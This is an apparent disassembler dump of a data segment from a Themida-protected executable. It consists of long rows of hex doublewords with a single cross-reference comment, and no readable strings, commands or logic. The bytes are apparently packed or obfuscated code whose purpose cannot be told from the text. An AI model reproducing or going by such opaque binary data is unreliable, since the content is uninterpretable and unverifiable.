		dd 7576FA95h, 0E9C8CF00h, 1037350Ah, 42B554E9h,	0F2DEA589h
		dd 610F33F8h, 4E000001h, 10C46FD8h, 0EA1BB97h, 3C859F23h
		dd 0AE3B04CBh, 0C654E957h, 2EBCBE87h, 0F73854E9h, 0A7143682h
		dd 0F279A124h, 0CA8E947Bh, 0BC47F4Dh, 0A43CBB41h, 0ED657CDFh
		dd 0A3396A0Bh, 0AD4CB416h, 5BD4862Eh, 1A006766h, 558EDA5Dh
		dd 0D2CDB6F8h, 0CCD633F8h, 1E3C8C0Fh, 0DAFB6B45h, 4B04790Ch
		dd 551Ch, 62D8BB00h, 0AAD825E8h, 8A4F04E6h, 65AC8649h
		dd 565487D4h, 5196C28Fh, 4F05A4D3h, 2668A872h, 9611C764h
		dd 79DC11C2h, 95DF3B9Ah, 6544D763h, 0E0E446BFh,	0A6404F05h
		dd 3023B936h, 9F2D12FFh, 264F05E1h, 0E0FC7E47h,	0B7784F05h
		dd 781FD0DAh, 0ABF9h, 6FD82C00h, 0F8D52AEDh, 7454E8F6h
		dd 0A4132983h, 0F378A225h, 78FF6078h, 2254E8F7h, 32B95858h
		dd 0D6B514BBh, 0E8F68BE9h, 6D26E954h, 8C53D18Eh, 0D46453B3h
		dd 9C504A5Ah, 0B09A4963h, 90473605h, 640ECBB9h,	0C55EDC21h
		dd 1DDE4F14h, 0C4E745BAh, 92454F14h, 7AF10BA1h,	0E753E9C3h
		dd 34094860h, 4F14C536h, 0B03945B6h, 0C4D85AABh, 0E3544F14h
		dd 3B8F1AAEh, 754226F7h, 5250F9F8h, 0B5FD4761h,	0DD8002FBh
		dd 1AB4247Eh, 5281DB5Ch, 8E984B61h, 0C97A4EC9h,	9EE7270Ch
		dd 0C4DE54FFh, 0F1E38D17h, 860CF05h, 854E85D7h,	0C69736F9h
		dd 2AED6FD8h, 0F054F9D5h, 34847754h, 6726A116h,	0A214BC3Bh
		dd 6FE4F429h, 500703A2h, 4C5C83D9h, 4054F0B8h, 1CDB3A66h
		dd 0F034360Fh, 7FB054EFh, 0A735B423h, 75547BACh, 0D45D621Dh
		dd 39A9E566h, 0EC6CB67Ah, 0F764AE6Bh, 0CD329174h, 54F0436Fh
		dd 0B410ACDh, 68ED7FF1h, 5C2CBCF1h, 0EC6B8AF6h,	3BB06A6Dh
		dd 0FDBF21A9h, 3F6E6F90h, 0CA8E98CDh, 93C47F4Dh, 0B7839h
		dd 41590000h, 4309158Ch, 64E0FC8h, 4DC47751h, 0EF6EED7Fh
		dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h
		dd 3EB930CAh, 5FD890AAh, 8950B30Dh, 405E0h, 42D0000h, 87000000h
		dd 895C2404h, 8468241Ch, 89000024h, 0AF682414h,	89000072h
		dd 68552434h, 0E4B4297h, 38BB535Dh, 310BA02Ch, 0EA895BDDh
		dd 14C0685Dh, 24890000h, 24048324h, 81525E04h, 4BE62404h
		dd 468F7ADDh, 0C0BB5308h, 8112603Dh, 1945C4EBh,	0A2F38116h
		dd 0F733AB72h, 81DBF7D3h, 103979EBh, 85E2955h, 2434FF5Bh
		dd 4C4835Eh, 5A2434FFh,	4C481h,	0ABE90000h, 69FFF909h
		dd 7A8D5A8Eh, 4228F91Eh, 5D553E1h, 0EB7395B8h, 0FFC50305h
		dd 0E5FC91E0h, 0B0A4646h, 8A7D3627h, 79100B2Eh,	36BEC43Fh
		dd 0E3AEAB22h, 86D68C38h, 0CBD08D62h, 6ACC0C2Bh, 0C0C01D23h
		dd 81512119h, 409D6123h, 0F69A2642h, 0B9608B28h, 9CDF2559h
		dd 45C14924h, 542D5970h, 34D77333h, 68B392Bh, 9652125h
		dd 0F859A577h, 0F921297Dh, 2881951Ch, 63B26A2Bh, 0E67B4C16h
		dd 7B069B70h, 78F8D20Bh, 0D304EB63h, 0E91DEF1Ch, 501h
		dd 0E1E41FD0h, 9736B139h, 444BCE8Bh, 0FCE31CDEh, 9538B726h
		dd 0F1643580h, 0BCB5776h, 5B11098Ch, 0F665BD20h, 0FAA95077h
		dd 0F059A785h, 28670554h, 0C12E6CCh, 35E8BA48h,	0CC9F7AD9h
		dd 0BA1711B8h, 48609B50h, 18403B2h, 80E2C3A2h, 0FC4F05AAh
		dd 0EE69EF3Bh, 0FB72F925h, 8F9C5BE1h, 5A9B4B6h,	66D6304Fh
		dd 9C43B4E9h, 0AA62C03Dh, 11C24F05h, 42F61444h,	0F85DF7C5h
		dd 0AA462419h, 75A64F05h, 13F23E98h, 78A225A4h,	0CC5679F2h
		dd 2D3F8D0Eh, 538337A9h, 0CE5591D9h, 508506B4h,	0D6DAA078h
		dd 87068137h, 0FA5DDC9Bh, 0E7746590h, 0F40E97D5h, 7EF5C740h
		dd 1F00C795h, 0E74F0527h, 466BEE72h, 6E3AF1FDh,	0DC9DAF3Dh
		dd 0D5BF0F5Dh, 953765ADh, 68DFA46Dh, 0BAE02E15h, 0E5D0BD3Ah
		dd 6Fh,	0BD3B67C6h, 7A67C53Ah, 37A54F05h, 0B32F24B4h, 77C69740h
		dd 0CC7349C0h, 4F04E66Ch, 35FC2486h, 2E14C94Eh,	1BFh, 0C377DE00h
		dd 62D67444h, 948ED7E5h, 0BCB022h, 0B4D71B22h, 62D36943h
		dd 2D1ED5E7h, 3BB42660h, 58DF9BA1h, 0FF78FA00h,	472F6FEDh
		dd 9D096295h, 0F53D65C7h, 3ADBC7A1h, 8C9639BEh,	6A494CCFh
		dd 0B705BE30h, 77FAD3BCh, 0EB714BC6h, 10ECF16Fh, 0D2389552h
		dd 17BECBE1h, 63EFE13Bh, 6C29FCAAh, 1EDF3E62h, 0ABD63CE3h
		dd 67081D67h, 4FDBEAA7h, 1ABB1188h, 4D14A00h, 80D85F1Ah
		dd 0E42D5535h, 2E15488Fh, 8BF8h, 0C6771F00h, 4A50714Bh
		dd 85BE0A8Dh, 6F7DF479h, 7AFF1BF4h, 0AEE867D6h,	0E22DEF9Bh
		dd 90281D48h, 0A2F83882h, 985FF178h, 27632C61h,	35943BB6h
		dd 95F168EDh, 2310A823h, 2EA92C76h, 6B543B9Ah, 4F05BF09h
		dd 0FCCC4B0Bh, 3F985B47h, 0D2E661D3h, 0B67FA307h, 2E15A7BDh
		dd 462Eh, 0C7389F00h, 4F05B565h, 12BB14C7h, 0F062C677h
		dd 37C6577h, 4F04E621h,	2A1F5083h, 4DCE8C9Eh, 5FD8908Ah
		dd 5F7DD60Dh, 0E1218Bh,	1AB3D24Dh, 7444C377h, 4E66EF3h
		dd 0FE22B84Fh, 14C94C37h, 1BD2Eh, 77D80000h, 6C7547C2h
		dd 0B0088736h, 81E3DC83h, 0E34F04E6h, 0BC3B6730h, 8E405A3Dh
		dd 0C38C4715h, 276B3189h, 0C3A19E7Dh, 214F04E5h, 70F925EEh
		dd 2AE3D6F9h, 2F98E5A8h, 8754E911h, 455D0454h, 95471594h
		dd 0CFCD1A9Bh, 5A37681Dh, 9D00BB30h, 557D685h, 0E8EB5EC2h
		dd 121EFC54h, 2C544F3h,	2E9BB828h, 13FC6983h, 0A621968Ch
		dd 9739BBE7h, 9D76AB26h, 2FAE2D3Fh, 66CA8F9Dh, 0F36078F7h
		dd 5AAB2ABEh, 54E99DD8h, 0D387E354h, 0DAA00454h, 3F8B1ED6h
		dd 22A512F3h, 16C6DCA3h, 89FA3C99h, 0F233F981h,	0FFh, 62D6CC25h
		dd 944128E5h, 0B3D6110Fh, 0D00552A6h, 93A7300Dh, 0CCF54E9h
		dd 0AE29AEBCh, 0C544F32Fh, 67E655F7h, 3E623855h, 3EE118DFh
		dd 1D60A7D4h, 16F9DC5Eh, 0E96A4B29h, 0AD66A954h, 4D5B281Ah
		dd 338C33F9h, 0CB000000h, 25E862D8h, 4E6AAD8h, 73498A4Fh
		dd 4E66ECCh, 1D05ED4Fh,	69A5B47h, 8C707CEAh, 1DF62B90h
		dd 0A766EC5Eh, 4F22C5Eh, 0C0C7084Fh, 8601h, 6FD85400h
		dd 0F8D52AEDh, 7454E8F6h, 7C40C69Ah, 2640A5E3h,	0B3A038B7h
		dd 1BD06A7Eh, 0B625FDE0h, 0BBA2A537h, 0E154E9DEh, 41F6171Bh
		dd 3BF4C7C6h, 0BA1DA90h, 8D0ACED8h, 0CD3043Fh, 36FAB426h
		dd 5BA7E20Ch, 954E1A9Dh, 0B4186538h, 5AD4D4h, 0E86FFDCFh
		dd 0DC15B71h, 0B424C692h, 0CD2B62Ah, 76ABAD0Ch,	0F0309A62h
		dd 0DAC6AC38h, 2089AA80h, 86D24D0Fh, 4D72014Dh,	0FCA900CDh
		dd 5EA69F7Eh, 0BA54FF6Dh, 0D8815679h, 0D52AED6Fh, 54F05AF1h
		dd 2E3C8C4Fh, 73AF2EA9h, 0F07745C4h, 6CF4BF78h,	9CC6CA94h
		dd 253AC3B6h, 28E5A06Ah, 0EFEE69EEh, 0B7058433h, 0C344F42Eh
		dd 0D14A0C16h, 48A223FBh, 0CFE2F67Ch, 34F08EBh,	0FE79FE1Fh
		dd 0D554031Fh, 0FC834C87h, 0A236B126h, 11C3h, 0E6CC0A00h
		dd 70519B0Fh, 9817C621h, 75DE13C0h, 0C477F358h,	6EED7F4Dh
		dd 894FDDEFh, 2CA0BA0Eh, 520319B3h, 0F66785D7h,	19DB617Bh
		dd 0B930CA9Eh, 0D890AA3Eh, 57B30D5Fh, 0C781E789h, 4, 3304EF83h
		dd 3C31243Ch, 243C3324h, 0E189515Ch, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 53241489h, 0C381E389h,	4, 4EB81h, 1C870000h
		dd 4895C24h, 0D3BD5524h, 81553B51h, 7668D6CDh, 4E5C10Bh
		dd 3F05ED81h, 0F58162F0h, 90EC2ACCh, 89E88950h,	545D58C2h
		dd 8124048Bh, 4C4h, 69226800h, 14890000h, 8408F24h, 5724048Bh
		dd 0C781E789h, 4, 8704C783h, 0FF5C243Ch, 815A2434h, 4C4h
		dd 420E900h, 8E65FFF9h,	790AB81Eh, 0C50305EBh, 7C70E0FFh
		dd 6FE62AC6h, 8AA1334Ch, 0DAA6128Bh, 523949B9h,	5A1E65E2h
		dd 2DFE6CA9h, 5D2E7027h, 3D3E5F9Eh, 0C3F07A36h,	10EB6596h
		dd 4 dup(0)
		dd 8166C08Bh, 83A16DF2h, 0E416A1BDh, 9750005h, 220DBD83h
		dd 740005E4h, 8B535019h, 42DB8C0h, 85890000h, 5E42215h
		dd 0A8EB9D8Dh, 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50177400h
		dd 42DB853h, 85890000h,	5E42215h, 0A5DA9D8Dh, 0D3FF05E6h
		dd 6AF9585Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 295DC350h, 8B55CA80h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0E5A46A3Dh, 8B0FE680h, 0E417858Dh, 8D09F805h, 5E4086Dh
		dd 0F00F983h, 6184h, 28D0F00h, 8A000000h, 3D8B64D0h, 2Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0F6C35343h
		dd 48BD17D2h, 89AE0395h, 0E41B6D95h, 0FFF0B05h,	2184h
		dd 8BF38B00h, 0F830F3Fh, 0E9000000h, 0Ah, 97690F83h, 9A618DCBh
		dd 0C0325DCEh, 0AAF35E50h, 49355E51h, 6A535041h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 6DADC351h, 826ED237h, 8B71285Eh, 0E407D595h,	4985C605h
		dd 4705E42Ah, 1C259D89h, 4E805E4h, 2C000000h, 66DCD688h
		dd 6650F78Bh, 8BDF0BBAh, 0E9042444h, 9,	83A89E7Dh, 307459C0h
		dd 66008BF8h, 4489D78Bh, 6A580424h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C407C356h
		dd 43E78877h, 0C3EE80D9h, 26F5B5FFh, 6A05E4h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0D7206FC3h
		dd 21B58971h, 8D05E41Dh, 0E76D3085h, 219D2905h,	6605E416h
		dd 0D0FFD78Bh, 12E952h,	0AA610000h, 0EE1F0848h,	0D7B8ECDBh
		dd 47783D39h, 0E19FEA71h, 5185895Eh, 0E905E42Bh, 0Eh, 0B42C517Dh
		dd 9453EA9Dh, 0B5DF6F66h, 0EE81C3Dh, 7C000000h,	0FC6515CDh
		dd 0D328A058h, 4F2E7163h, 50BE6602h, 85C65AB9h,	5E42A49h
		dd 0F78B6653h, 4E8h, 986AFC00h,	0BA525088h, 3D964CAAh
		dd 585A310Fh, 17850F50h, 0E9000000h, 12h, 0F219F172h, 0BE742F04h
		dd 0A272FCDh, 0D93DE09Bh, 448B9F39h, 13E80424h,	71000000h
		dd 0BD4A5173h, 953F815Dh, 0AA327D20h, 11A0377Bh, 0CE941B0h
		dd 39000000h, 0D6223FDh, 801F1A61h, 5E9D937Ah, 12E9008Bh
		dd 0DB000000h, 8C81F875h, 5C492EE3h, 40982B1Eh,	0A524BB12h
		dd 2444893Eh, 52505004h, 5C9BF3BAh, 0BA310F31h,	7D8074BCh
		dd 585A585Ah, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	4FC35646h, 958B5691h, 5E4200Dh,	0FFF18A5Ah, 0E426F5B5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0FD3894BDh, 10E9h, 7007D000h, 7B356F1Ch
		dd 19778B88h, 61A4B608h, 0E2BE6613h, 30858DA5h,	0F05E76Dh
		dd 689h, 830F00h, 0FF000000h, 69958BD0h, 8D05E428h, 0E736D585h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 980CF291h, 0C281666Bh, 8589E91Ch, 5E42429h
		dd 5E9h, 9DB97400h, 206AA15Dh, 95FFFF6Ah, 5E42429h, 50414935h
		dd 0DD85C753h, 105E430h, 0C7000000h, 0E4257185h, 5, 66D38B00h
		dd 6AD68Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 516088C3h, 8B5B5A52h, 0E428ED9Dh,	0BD836105h
		dd 5E42265h, 6C840F00h,	8B000000h, 0E41FE995h, 71858B05h
		dd 6A05E417h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0F99BC353h, 4417E383h,	829B589h
		dd 0A36405E4h, 0
		dd 8BD1BF0Fh, 0E4264585h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8154C957h
		dd 396D66C6h, 66E08B22h, 836B88BEh, 0E40111BDh,	850F0005h
		dd 37Dh, 2D72DABAh, 4985C630h, 5605E42Ah, 28059501h, 0EB6805E4h
		dd 818A97F1h, 0C1342434h, 0BE662352h, 0B5FF7D94h, 5E426F5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E2C35242h
		dd 6847699Fh, 0D5BCA9EBh, 0D698BA66h, 6D30858Dh, 8B5205E7h
		dd 0E4166995h, 0D0FF5A05h, 0EE8h, 1A3FC000h, 7EA890Dh
		dd 0E43F8A8Ah, 0B2705A73h, 66505EA3h, 89FD10BEh, 0D18B2404h
		dd 0C58D8Dh, 816605E4h,	89D1DBEEh, 0E432959Dh, 50609105h
		dd 5FD38B66h, 61C68B66h, 7E850h, 4CFA0000h, 2F31EA0Bh
		dd 5E5A51DBh, 4DB58B91h, 6A05E41Ah, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 39D9BAB5h
		dd 4E8761Dh, 0
		dd 0E8000010h, 5, 372EA93Dh, 50505E5Dh,	5E852h,	9330000h
		dd 50B02BB6h, 5A310F52h, 310F5E58h, 0BE9h, 4FDD0800h, 1ED4123Bh
		dd 25BC19D3h, 448B585Ah, 8B0424h, 4489F18Bh, 66570424h
		dd 585AF18Bh, 89F08B66h, 0E40DA1B5h, 95B5FF05h,	8905E41Ah
		dd 0E4234585h, 9D0FF05h, 0E41725B5h, 95BD8B05h,	0E905E41Ah
		dd 8, 0E5EAF73Fh, 5BFC2ECCh, 6A3C7F03h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 5B35C356h
		dd 0A8556FBCh, 4499589h, 81F805E4h, 0F8C7h, 119D8900h
		dd 0C705E413h, 202447h,	0B5036000h, 5E41D49h, 79DBBD83h
		dd 0F0005EBh, 13B84h, 0FE900h, 0C3560000h, 38872AAFh, 0D5926D76h
		dd 3825D80Eh, 28C78384h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 32C35646h, 1EE0664Fh,	96FA6C87h, 14E8h
		dd 5A1C0D00h, 90F8AE63h, 660FDA53h, 0BE682420h,	8E3E84D9h
		dd 319529E1h, 5A05E42Ah, 6A2E07C7h, 0C7F56469h,	74610447h
		dd 0B58B0061h, 5E40035h, 79E3858Bh, 6A05EBh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 234E89C3h
		dd 0E975FA65h, 14h, 0BD06BF7Eh,	52AAD3A1h, 0DA8DBAF5h
		dd 27D97379h, 7873C204h, 8B0C4789h, 0E411F5B5h,	0E7858B05h
		dd 8905EB79h, 0E422AD9Dh, 39B58905h, 8905E416h,	0BA660847h
		dd 0C7833D09h, 0C7D68B28h, 6F632E07h, 52006A6Eh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 16C5488Dh, 8944331Dh, 0E41A519Dh, 0B5852905h, 0C705E427h
		dd 69660447h, 1BBE0067h, 8B57A9C6h, 0EB79DF85h,	0B9950905h
		dd 8905E42Dh, 85890C47h, 5E408D5h, 79DB858Bh, 89F905EBh
		dd 0EA810847h, 116742F8h, 658D8D58h, 8B05E419h,	0E41699B5h
		dd 13E95005h, 4A000000h, 6755DCE4h, 43A5E3D9h, 4F6DF597h
		dd 6DBE944Bh, 0C89290Ah, 0F28B6624h, 0C5B5FFh, 6A05E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 32D109C3h, 769015F6h, 95231015h, 5E420EDh, 7303F168h
		dd 1AA1BE5Ch, 348113BAh, 7313F124h, 51006A5Ch, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F18D271h
		dd 0A957F6B4h, 0B5FFA860h, 5E41A95h, 0FFF08B66h, 0B8D0h
		dd 8BF80000h, 0FC00BF2h, 5F84h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0DF7FBC4Bh
		dd 236DB5FFh, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 11C202C3h, 9E9B2E2h, 4A000000h
		dd 5A3A2E62h, 35D7D491h, 2A6195FFh, 0BD8905E4h,	5E421E1h
		dd 0E7B6C08Bh, 16A1BD83h, 750005E4h, 0DBD8309h,	5E422h
		dd 53501974h, 2DB8C08Bh, 89000004h, 0E41A5585h,	529D8D05h
		dd 0FF05E6A9h, 83585BD3h, 0E4220DBDh, 17740005h, 2DB85350h
		dd 89000004h, 0E41A5585h, 0F39D8D05h, 0FF05E6A5h, 6A585BD3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0DD04C351h, 89A8AE93h, 0E403919Dh, 66C08B05h
		dd 0C08BF08Bh, 0E6BF04EBh, 41E90FBBh, 0DD000005h, 26FCE31Ah
		dd 889235B2h, 0DB4746C1h, 23FF9E19h, 879037B2h,	75EC6138h
		dd 8B04C852h, 0DF581E04h, 72F562B8h, 88F5D453h,	54F067AAh
		dd 77277C0Ah, 0AC8649C0h, 179CD34Ah, 0D1FB5449h, 0B6268A4Bh
		dd 7FB0A339h, 0A59A7958h, 4F0574C7h, 0FD19F225h, 5FEDFF7Eh
		dd 0DFBE6198h, 57584E6h, 622FE04Fh, 0E364D476h,	809A3BC9h
		dd 7CFEC7CEh, 0F84F0575h, 4D09C237h, 0AD331F45h, 40EC1F6Fh
		dd 0CB808A47h, 67D54D50h, 9882E1E4h, 460F5DD6h,	5C4FB79h
		dd 45B6794Fh, 503DB439h, 0B5078036h, 10A82797h,	0E4BEE248h
		dd 0C53A3805h, 79BA4F05h, 43C4729Ch, 0B0257D5Ch, 85325C39h
		dd 0E931731Bh, 376824CFh, 9BBDA2A5h, 55774F05h,	7F9FE42Dh
		dd 73C82E15h, 0F000000h, 8649C077h, 0F4A1DA9Ch,	0DE95FDE4h
		dd 0A8F8004Ah, 0B5B5FA57h, 7D4F05D8h, 99EA236Fh, 2A2E15BCh
		dd 0CCF87A4Bh, 0AA744F05h, 2C76AB2Ch, 6B622FA8h, 1, 6DC377A2h
		dd 0A0386DECh, 359DE9Ah, 1A955842h, 0CD32954Eh,	4F04E66Fh
		dd 45410ACDh, 0B7B58A93h, 554F04E5h, 2F7E68E3h,	4E654D6h
		dd 2A1FD04Fh, 7751E3F9h, 0E96EEA0Bh, 3CBF3CE6h,	0C677CC99h
		dd 6FEB714Bh, 0E5C5D0E8h, 37995CBDh, 82B10B86h,	0D62F8E51h
		dd 4F04E654h, 13B21FD0h, 0F3C940F7h, 8AFBE069h,	4F04E5A8h
		dd 5B7D304h, 0B603598Ah, 3C17C32Fh, 0A0CA27ADh,	6EA7EBF7h
		dd 2E15A205h, 8F76h, 0C677A100h, 6EEB714Bh, 8A4BD1EBh
		dd 2FAFBD0Fh, 0B00A18B0h, 1C66B870h, 5B40F514h,	4E6086Ah
		dd 7EB3644Fh, 0A499785Fh, 4F04E5C6h, 0FE18F526h, 0E960E97Fh
		dd 65BD24B4h, 7E9875F4h, 9C6943FCh, 280BC2CEh, 512E14CFh
		dd 7Fh,	52C67784h, 971758D1h, 0C71D4B6h, 4F05D12Eh, 0B5184D8Eh
		dd 0FD674B5Dh, 10FDCF62h, 0B334A2B8h, 0BBE74519h, 82E289E1h
		dd 0E1E45B04h, 5AF5B053h, 0F7A095FFh, 0D3862AABh, 27BF9C6h
		dd 36F94F05h, 580D90C5h, 7444C377h, 4E66EF3h, 0C1D9B84Fh
		dd 9CC6930Ah, 67D4CE94h, 0E62B0976h, 46894F04h,	0C38C4715h
		dd 14C994EFh, 11C52Eh, 8CE60000h, 798D3937h, 9CDCF86h
		dd 7F8FE41Fh, 7708410Ah, 0D77547C2h, 4726E960h,	4E5FC7Eh
		dd 6BB7784Fh, 36A26FEAh, 65848C56h, 675275F4h, 0D25505AEh
		dd 665F3EE1h, 4F04E604h, 54D38660h, 70D7B663h, 0E5CEAC91h
		dd 88F54F04h, 4F04E5AAh, 1ADDC90Ah, 118770B1h, 2CEF54E9h
		dd 11310169h, 0A9ED0A97h, 995EECECh, 34A37F1Eh,	402027B5h
		dd 8254E914h, 5219F838h, 0E96EB4DBh, 0BC05A6Eh,	60D5CD90h
		dd 9EAC2CE9h, 0F208A0DFh, 17EBC146h, 0F6854DB5h, 0CE8D6C94h
		dd 5CF6F656h, 193F1B9Ch, 804852F1h, 4DBEB507h, 0BF3F6B4Ah
		dd 20635700h, 4933F933h, 142h, 0C8AA9B7Ah, 2454E943h, 0D8B126F3h
		dd 4B2AED6Fh, 9F324D6Fh, 5603E9A8h, 0E9F28069h,	89231454h
		dd 8245C473h, 359D298h,	0BA6007D0h, 1C2EBA3Dh, 1179DC5Fh
		dd 0C799A427h, 25B7609Bh, 2FCE3288h, 0CFAE31A8h, 0D2E661D3h
		dd 142B461h, 6A33F906h,	3Eh, 0E862D8ADh, 0E6AAD825h, 498A4F04h
		dd 0E66ECC73h, 0FEED4F04h, 0E644261Fh, 6FA04F04h, 0B6F838A2h
		dd 6AE557F4h, 2C0E775Eh, 884F04E6h, 7E211247h, 4E67301h
		dd 7F1ED14Fh, 0B1F8h, 6FD82F00h, 0F8D52AEDh, 0AF54E8F6h
		dd 285FC173h, 0ADDA9AD4h, 2F4B0479h, 7FF129ECh,	927FF4C4h
		dd 0D3839FC6h, 5B7BF9C6h, 36F954E9h, 0B631B9C5h, 833AB1DDh
		dd 0D651061Ch, 5BDA5D82h, 3A8054E9h, 0A017F6h, 4AF9D34Ch
		dd 4A037619h, 0D73805C8h, 1F5AD4DDh, 66C58CDCh,	14DD1B19h
		dd 394DC94Fh, 0E0B943F3h, 67E935E6h, 70E723ECh,	0AFE01BD0h
		dd 5B9E82E8h, 4FF61024h, 0F5716F03h, 0A471BCF6h, 2D755434h
		dd 0A99A2EA9h, 0C39B99E6h, 0D6194F14h, 0B51517Dh, 0C3D95BA4h
		dd 985B4F14h, 0C46AC835h, 9CA4F14h, 0B230ED4Ch,	472D92D3h
		dd 86495500h, 6FD85607h, 0F4D52AEDh, 7054F068h,	581F2DBFh
		dd 0FFCD4608h, 173D0A44h, 841F47A3h, 61D64C53h,	97F3D2E6h
		dd 0DE15A722h, 4AC10C75h
		dd 0FB7D5F41h, 3566E169h, 58D385A7h, 0ED157500h, 8BF7D125h
		dd 6B6AED6Ah, 23A838BFh, 0C72310A8h, 13C09817h,	0FE708ADEh
		dd 0CD977745h, 34B724C5h, 4BC28991h, 3B071h, 6E70000h
		dd 4DC47751h, 0EF6EED7Fh, 0E894FDDh, 0B32CA0BAh, 0D7520319h
		dd 7BF66785h, 9E19DB61h, 3EB930CAh, 5FD890AAh, 8951B30Dh
		dd 4C181E1h, 83000000h,	0C8704E9h, 24248B24h, 298A68h
		dd 241C8900h, 4EC81h, 14890000h, 5BC46824h, 14890000h
		dd 82AABA24h, 0D38905EBh, 4838685Ah, 24890000h,	24048124h
		dd 4, 0B850515Ah, 66D4629Dh, 0D46295B9h, 58C13166h, 1989D101h
		dd 2434FF59h, 4C4835Ah,	5B2434FFh, 0E904C483h, 0FFF8F5E6h
		dd 699AFA68h, 11B98074h, 0C84370Fh, 0EB8775B8h,	0FFC50305h
		dd 0A3826FE0h, 0D3735514h, 0A7B0A85Dh, 9CB1807Eh, 0ADD46D5Ch
		dd 408CEC57h, 6E97EA58h, 0A3B8C36h, 61DF8228h, 7F3B4434h
		dd 0DAD35674h, 881E656Bh, 4B7FF2Ch, 128D8D59h, 6A05EB89h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0BF40C353h, 800A2AA8h, 8B66F37Fh,	958D89F8h
		dd 6A05E410h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 6DB5C350h, 2C6585C7h, 63C005E4h
		dd 0DB810000h, 2ED0EC81h, 30FD85C7h, 5E4h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 5A0556C3h, 8061B3D2h, 1EE99523h, 0B5FF05E4h,	5E425F5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 88C35141h
		dd 275CEA81h, 95FF7DBFh, 5E42A61h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0ECC35646h,	0BD8B0533h, 5E410E9h
		dd 95FF006Ah, 5E410C1h,	28EBC08Bh, 0C807185Ah, 894D8B8Eh
		dd 736DD12Ah, 2445480Dh, 9E241E3Fh, 35C364B1h, 0E0089377h
		dd 8D2708E0h, 0ADA1CF05h, 30454CDCh, 8A0C8D8Dh,	9D8B05EBh
		dd 5E41FE5h, 10958D89h,	6A05E4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 85C734C3h, 5E42C65h
		dd 5E88h, 2631BD89h, 85C705E4h,	5E430FDh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0A2C35040h
		dd 78121731h, 0F353D732h, 9CBB66E9h, 5E980h, 31D20000h
		dd 0FF84DDA7h, 0E4005DB5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 9CEDD909h
		dd 0CC519D65h, 7820F7Ah, 0F000000h, 18Ah, 160F800h, 0E429EDB5h
		dd 6F18105h, 610A8B05h,	2A6195FFh, 6A05E4h, 10C195FFh
		dd 0C08B05E4h, 0DD956AEBh, 7DCE7Ah, 0F55A66D9h,	0A6451232h
		dd 6198F245h, 0C2E6C3BFh, 550F28Dh, 61BE4094h, 560D69A5h
		dd 432DF07Ch, 69306B5Fh, 8718DAE2h, 73CAE9B6h, 57A2A5E0h
		dd 0B031C5B5h, 0C8F97E21h, 753C6240h, 46543C33h, 17AC41D3h
		dd 6F08B8E7h, 5BA70F01h, 12ED9FC6h, 781D0D66h, 8E266AA7h
		dd 92AA9399h, 0B8E1995Ch, 4707EDF2h, 8B328D8Dh,	0B05605EBh
		dd 8D895E26h, 5E41095h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0D0C35343h, 9DBB95FCh, 0C7370657h, 0E42C6585h
		dd 6E8005h, 0C3BF0F00h,	30FD85C7h, 5E4h, 6A0000h, 3E856h
		dd 5E200000h
dword_5B7298	dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0EE6F0FC3h
					; DATA XREF: Themida_:005510E2o
		dd 0ADA3482Bh, 0BDA77B6h, 0E4265185h, 0EDB5FF05h, 6A05E431h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0E055C356h, 0D1ADD477h, 0E5852957h, 5805E422h
		dd 2A6195FFh, 0D28105E4h, 58809054h, 95FF006Ah,	5E410C1h
